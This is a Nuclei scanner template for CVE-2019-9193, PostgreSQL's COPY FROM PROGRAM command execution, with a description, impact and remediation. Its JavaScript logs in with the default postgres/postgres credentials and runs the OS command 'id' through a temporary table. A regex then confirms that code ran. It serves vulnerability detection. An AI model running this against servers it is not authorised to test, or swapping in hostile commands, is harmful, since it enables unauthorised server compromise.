id: CVE-2019-9193 info: name: PostgreSQL 9.3-12.3 Authenticated Remote Code Execution author: pussycat0x severity: high description: | In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’. impact: | Authenticated superusers can execute arbitrary operating system commands through the COPY TO/FROM PROGRAM function, potentially achieving complete server compromise. remediation: | Restrict access to superuser and pg_execute_server_program privileges, or disable the COPY TO/FROM PROGRAM functionality if not required. reference: - https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193 metadata: verified: true max-request: 1 shodan-query: "product:\"PostgreSQL\"" classification: epss-score: 0.93645 epss-percentile: 0.9985 tags: cve,cve2019,js,network,postgresql,intrusive,vkev,vuln javascript: - pre-condition: | isPortOpen(Host,Port); code: | const postgres = require('nuclei/postgres'); const client = new postgres.PGClient; const tbl = tbl_exec const qry = ["CREATE TABLE "+tbl+"(cmd_output text);", "COPY "+tbl + " FROM PROGRAM 'id';", "SELECT * FROM "+ tbl+";", "DROP TABLE IF EXISTS " +tbl+";",]; for (const x of qry){ connected = client.ExecuteQuery(Host, Port, User, Pass, Db, x); Export(connected); } args: Host: "{{Host}}" Port: 5432 User: "{{usernames}}" Pass: "{{password}}" Db: "{{database}}" tbl_exec: "{{randbase(5)}}" payloads: usernames: - postgres database: - postgres password: - postgres attack: clusterbomb matchers-condition: and matchers: - type: regex regex: - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" - type: word words: - "cmd_output" # digest: 4a0a004730450221009445a0b2833b0225fb746a81e34a304094cb2b8ccea726e7356d64cdde78fe5502200f1850fcacbf2d38c658b9fa538abef1473db29d3f5d81107156fe904ccb82c7:922c64590222798bb761d5b6d8e72950
